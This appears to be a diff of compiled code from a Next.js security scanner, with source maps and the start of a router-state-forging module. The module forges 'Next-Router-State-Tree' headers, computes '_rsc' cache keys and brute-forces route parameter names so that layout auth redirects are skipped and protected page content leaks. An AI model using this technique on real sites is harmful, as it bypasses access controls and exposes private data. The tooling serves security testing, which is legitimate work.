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"}
|
|
@@ -71,7 +71,7 @@ const next_promiseResolveWorker = (url, jsDirBase) => __awaiter(void 0, void 0,
|
|
|
71
71
|
});
|
|
72
72
|
const next_promiseResolve = (urls_1, ...args_1) => __awaiter(void 0, [urls_1, ...args_1], void 0, function* (urls, threads = 1) {
|
|
73
73
|
console.log(chalk.cyan("[i] Check for Promise.all pattern"));
|
|
74
|
-
|
|
74
|
+
const toReturn = [];
|
|
75
75
|
// go through all the URLs, and find which which one has `static/chunks/` in it
|
|
76
76
|
let jsDirBase = null;
|
|
77
77
|
for (const url of urls) {
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"next_promiseResolve.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_promiseResolve.ts"],"names":[],"mappings":"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
|
|
1
|
+
{"version":3,"file":"next_promiseResolve.js","sourceRoot":"","sources":["../../../src/lazyLoad/next_js/next_promiseResolve.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1,407 @@
|
|
|
1
|
+
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
|
|
2
|
+
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
|
|
3
|
+
return new (P || (P = Promise))(function (resolve, reject) {
|
|
4
|
+
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
|
|
5
|
+
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
|
|
6
|
+
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
|
|
7
|
+
step((generator = generator.apply(thisArg, _arguments || [])).next());
|
|
8
|
+
});
|
|
9
|
+
};
|
|
10
|
+
import { createHash } from "node:crypto";
|
|
11
|
+
import rawRequest from "../../exploit/utility/rawRequest.js";
|
|
12
|
+
import { runWithConcurrency } from "../../utility/concurrency.js";
|
|
13
|
+
import { printMsg, MSG } from "../../utility/printMsg.js";
|
|
14
|
+
/** Marker Next.js embeds in a Flight payload when a layout/page calls redirect(). */
|
|
15
|
+
const NEXT_REDIRECT_MARKER = "NEXT_REDIRECT";
|
|
16
|
+
/** Converts one ancestor segment to its FlightRouterState wire representation. */
|
|
17
|
+
const toSegmentRepr = (segment, tupleLength) => typeof segment === "string"
|
|
18
|
+
? segment
|
|
19
|
+
: tupleLength === 4
|
|
20
|
+
? [segment.paramName, segment.value, "d", null]
|
|
21
|
+
: [segment.paramName, segment.value, "d"];
|
|
22
|
+
/** The literal URL path value of an ancestor segment, regardless of representation. */
|
|
23
|
+
export const ancestorSegmentValue = (segment) => typeof segment === "string" ? segment : segment.value;
|
|
24
|
+
/**
|
|
25
|
+
* Builds the `Next-Router-State-Tree` header value: a URL-encoded FlightRouterState
|
|
26
|
+
* claiming every segment in `ancestorSegments` is already client-rendered, with the
|
|
27
|
+
* leaf segment either an ordinary `__PAGE__` node or (leafMode="metadata-only") a node
|
|
28
|
+
* flagged so Next.js only re-executes `generateMetadata()` for it. Mirrors the
|
|
29
|
+
* `flightRouterState[3]` check in `walk-tree-with-flight-router-state.tsx`. `tupleLength`
|
|
30
|
+
* only affects segments that are dynamic-ancestor claims (see `toSegmentRepr`).
|
|
31
|
+
*/
|
|
32
|
+
export const buildStateTreeHeader = (ancestorSegments, leafMode = "page", tupleLength = 4) => {
|
|
33
|
+
let node = leafMode === "metadata-only" ? ["__PAGE__", {}, null, "metadata-only"] : ["__PAGE__", {}];
|
|
34
|
+
for (let i = ancestorSegments.length - 1; i >= 0; i--) {
|
|
35
|
+
node = [toSegmentRepr(ancestorSegments[i], tupleLength), { children: node }];
|
|
36
|
+
}
|
|
37
|
+
const tree = ["", { children: node }];
|
|
38
|
+
return encodeURIComponent(JSON.stringify(tree));
|
|
39
|
+
};
|
|
40
|
+
/**
|
|
41
|
+
* Strong `_rsc` cache-busting key: SHA-256 of the four cache-busting inputs, truncated to
|
|
42
|
+
* 96 bits and base64url-encoded. Mirrors `computeCacheBustingSearchParam` in
|
|
43
|
+
* `shared/lib/router/utils/cache-busting-search-param.ts` — not a secret, any client can
|
|
44
|
+
* compute it from headers it itself sends.
|
|
45
|
+
*/
|
|
46
|
+
export const computeStrongRscKey = (stateTreeHeader, nextUrlHeader, prefetchHeader = "0", segmentPrefetchHeader = "0") => {
|
|
47
|
+
const input = [prefetchHeader, segmentPrefetchHeader, stateTreeHeader, nextUrlHeader].join(",");
|
|
48
|
+
const digest = createHash("sha256").update(input).digest();
|
|
49
|
+
return digest.subarray(0, 12).toString("base64").replace(/\+/g, "-").replace(/\//g, "_").replace(/=+$/, "");
|
|
50
|
+
};
|
|
51
|
+
/**
|
|
52
|
+
* 32-bit djb2xor hash, as used by Next.js's legacy (non-cryptographic) cache-busting key.
|
|
53
|
+
* Mirrors `djb2Hash` in `shared/lib/hash.ts`.
|
|
54
|
+
*/
|
|
55
|
+
const djb2Hash = (str) => {
|
|
56
|
+
let hash = 5381;
|
|
57
|
+
for (let i = 0; i < str.length; i++) {
|
|
58
|
+
hash = ((hash << 5) + hash + str.charCodeAt(i)) & 0xffffffff;
|
|
59
|
+
}
|
|
60
|
+
return hash >>> 0;
|
|
61
|
+
};
|
|
62
|
+
/**
|
|
63
|
+
* Legacy `_rsc` cache-busting key: `djb2Hash` of the same four inputs as
|
|
64
|
+
* `computeStrongRscKey`, base36-encoded and truncated to 5 characters. Mirrors
|
|
65
|
+
* `computeLegacyCacheBustingSearchParam`/`hexHash` in
|
|
66
|
+
* `shared/lib/router/utils/cache-busting-search-param.ts` / `shared/lib/hash.ts`. Cheaper
|
|
67
|
+
* to compute than the strong key, and some Next.js builds accept it as a fallback when the
|
|
68
|
+
* strong-key check fails (see `NEXT-RSC-002`) — no crypto required to probe with it first.
|
|
69
|
+
*/
|
|
70
|
+
export const computeLegacyRscKey = (stateTreeHeader, nextUrlHeader, prefetchHeader = "0", segmentPrefetchHeader = "0") => {
|
|
71
|
+
const input = [prefetchHeader, segmentPrefetchHeader, stateTreeHeader, nextUrlHeader].join(",");
|
|
72
|
+
return djb2Hash(input).toString(36).slice(0, 5);
|
|
73
|
+
};
|
|
74
|
+
/**
|
|
75
|
+
* Common dynamic route param names to guess when the last ancestor segment might be a
|
|
76
|
+
* dynamic route (e.g. `[org]`, `[id]`) rather than a static one. Bounded to keep the
|
|
77
|
+
* per-candidate request count small; a miss just falls through to the next guess. Worst
|
|
78
|
+
* case per candidate URL: `(2 static attempts + this list's length)` guesses, each up to 2
|
|
79
|
+
* key modes (legacy/strong) and up to 2 leaf modes (page/metadata-only) — i.e. roughly
|
|
80
|
+
* `(2 + 20) * 2 * 2 = 88` requests before any RSC-body harvesting fallback (see
|
|
81
|
+
* `extractParamNameCandidatesFromFlightBody`) kicks in, which only spends further requests
|
|
82
|
+
* when this list's guesses all fail AND harvesting actually turns up a new name, capped by
|
|
83
|
+
* `--rsc-param-bruteforce-limit`.
|
|
84
|
+
*/
|
|
85
|
+
const COMMON_DYNAMIC_PARAM_NAMES = [
|
|
86
|
+
"id",
|
|
87
|
+
"slug",
|
|
88
|
+
"org",
|
|
89
|
+
"orgId",
|
|
90
|
+
"organization",
|
|
91
|
+
"tenant",
|
|
92
|
+
"tenantId",
|
|
93
|
+
"username",
|
|
94
|
+
"userId",
|
|
95
|
+
"user",
|
|
96
|
+
"account",
|
|
97
|
+
"accountId",
|
|
98
|
+
"workspace",
|
|
99
|
+
"workspaceId",
|
|
100
|
+
"project",
|
|
101
|
+
"projectId",
|
|
102
|
+
"team",
|
|
103
|
+
"teamId",
|
|
104
|
+
"handle",
|
|
105
|
+
"name",
|
|
106
|
+
"key",
|
|
107
|
+
];
|
|
108
|
+
/**
|
|
109
|
+
* Ancestor-segment claims worth trying per candidate path, ordered from MOST to LEAST specific:
|
|
110
|
+
* every segment but the leaf, with its last segment tried as each of `paramNameCandidates`
|
|
111
|
+
* (the only shape that can actually match a real dynamic-route ancestor); then the same
|
|
112
|
+
* ancestor chain as plain static segments; then first-segment-only (the coarsest possible
|
|
113
|
+
* claim). Defaults to `COMMON_DYNAMIC_PARAM_NAMES`; `next_routerStateForge` also calls this
|
|
114
|
+
* with RSC-body-harvested names as a fallback when the default list's guesses all fail.
|
|
115
|
+
*
|
|
116
|
+
* Order matters: `tryAttempts` (in `next_routerStateForge`) returns on the first success it
|
|
117
|
+
* sees, so a weaker/coarser claim earlier in this list would prevent a stronger, more specific
|
|
118
|
+
* match later in the same leaf-mode pass from ever being tried — see internal-docs#172, where a
|
|
119
|
+
* bare single-segment claim (previously tried first) satisfied `metadata-only` leaf mode's
|
|
120
|
+
* success check without leaking real page content, masking a dynamic-ancestor match that would
|
|
121
|
+
* have.
|
|
122
|
+
*/
|
|
123
|
+
export const buildAncestorAttempts = (pathSegments, paramNameCandidates = COMMON_DYNAMIC_PARAM_NAMES) => {
|
|
124
|
+
if (pathSegments.length === 0)
|
|
125
|
+
return [];
|
|
126
|
+
const firstSegmentOnly = [pathSegments[0]];
|
|
127
|
+
const allButLeaf = pathSegments.slice(0, -1);
|
|
128
|
+
if (allButLeaf.length === 0 || allButLeaf.join("/") === pathSegments[0]) {
|
|
129
|
+
return [firstSegmentOnly];
|
|
130
|
+
}
|
|
131
|
+
const withoutLastAncestor = allButLeaf.slice(0, -1);
|
|
132
|
+
const lastAncestorValue = allButLeaf[allButLeaf.length - 1];
|
|
133
|
+
const dynamicGuessAttempts = paramNameCandidates.map((paramName) => [
|
|
134
|
+
...withoutLastAncestor,
|
|
135
|
+
{ paramName, value: lastAncestorValue },
|
|
136
|
+
]);
|
|
137
|
+
return [...dynamicGuessAttempts, allButLeaf, firstSegmentOnly];
|
|
138
|
+
};
|
|
139
|
+
/** True when a Flight/RSC payload records a server-side redirect (the auth check actually ran). */
|
|
140
|
+
export const containsNextRedirectMarker = (body) => body.includes(NEXT_REDIRECT_MARKER);
|
|
141
|
+
/**
|
|
142
|
+
* Extracts `static/chunks/*.js` (including Turbopack `~`-separated names) references from a
|
|
143
|
+
* Flight payload body. Real payloads encode these WITHOUT a `_next/` prefix — e.g.
|
|
144
|
+
* `4:I[3330,["614","static/chunks/app/dashboard/secret/page-<hash>.js"],"default"]` — the
|
|
145
|
+
* client resolves them against its own asset prefix at runtime. An optional literal
|
|
146
|
+
* `_next/` prefix is still matched for payload shapes that do include it.
|
|
147
|
+
*/
|
|
148
|
+
export const extractChunkPathsFromFlightBody = (body) => {
|
|
149
|
+
const matches = body.matchAll(/(?:_next\/)?static\/chunks\/[a-zA-Z0-9._\-/~]+\.js/g);
|
|
150
|
+
return [...new Set([...matches].map((m) => m[0]))];
|
|
151
|
+
};
|
|
152
|
+
/** Object-key-shaped identifiers that show up next to arbitrary string values in a Flight
|
|
153
|
+
* payload without being the real dynamic-route param name — prop/DOM-attribute-like keys
|
|
154
|
+
* that would otherwise slip past the value-anchored pattern below. `id` is included
|
|
155
|
+
* deliberately: it's already in `COMMON_DYNAMIC_PARAM_NAMES`, so a harvested `"id":"<value>"`
|
|
156
|
+
* hit would only ever duplicate an attempt already made. */
|
|
157
|
+
const PARAM_NAME_CANDIDATE_NOISE = new Set([
|
|
158
|
+
"children",
|
|
159
|
+
"className",
|
|
160
|
+
"key",
|
|
161
|
+
"ref",
|
|
162
|
+
"type",
|
|
163
|
+
"props",
|
|
164
|
+
"default",
|
|
165
|
+
"name",
|
|
166
|
+
"title",
|
|
167
|
+
"description",
|
|
168
|
+
"href",
|
|
169
|
+
"src",
|
|
170
|
+
"id",
|
|
171
|
+
"digest",
|
|
172
|
+
]);
|
|
173
|
+
/**
|
|
174
|
+
* Extracts candidate dynamic-route param names from a Flight/RSC response body already
|
|
175
|
+
* fetched during a failed forge attempt. Two anchored patterns, deliberately narrow to keep
|
|
176
|
+
* the false-positive rate — and therefore the number of extra requests this feeds back into
|
|
177
|
+
* `buildAncestorAttempts` — low:
|
|
178
|
+
*
|
|
179
|
+
* 1. **Value-anchored key extraction.** Flight serializes plain-object props passed to
|
|
180
|
+
* Client Component boundaries as ordinary `"key":"value"` pairs, even though the payload
|
|
181
|
+
* as a whole isn't valid JSON/JS. The crawl already knows the ancestor's literal *value*
|
|
182
|
+
* (`knownValue`, e.g. `"acme-corp"`) but not its *key* — so a key quoted immediately next
|
|
183
|
+
* to that known value is a strong signal for the real `[paramName]`.
|
|
184
|
+
* 2. **Bracket-source pattern (dev-mode only).** Next.js dev error/stack payloads embed
|
|
185
|
+
* webpack module source paths verbatim, e.g.
|
|
186
|
+
* `webpack-internal:///(rsc)/./app/organizations/[org]/layout.tsx` — the bracketed
|
|
187
|
+
* segment there IS the real param name, no anchoring needed since `[name]` in a module
|
|
188
|
+
* path is unambiguous by construction.
|
|
189
|
+
*/
|
|
190
|
+
export const extractParamNameCandidatesFromFlightBody = (body, knownValue) => {
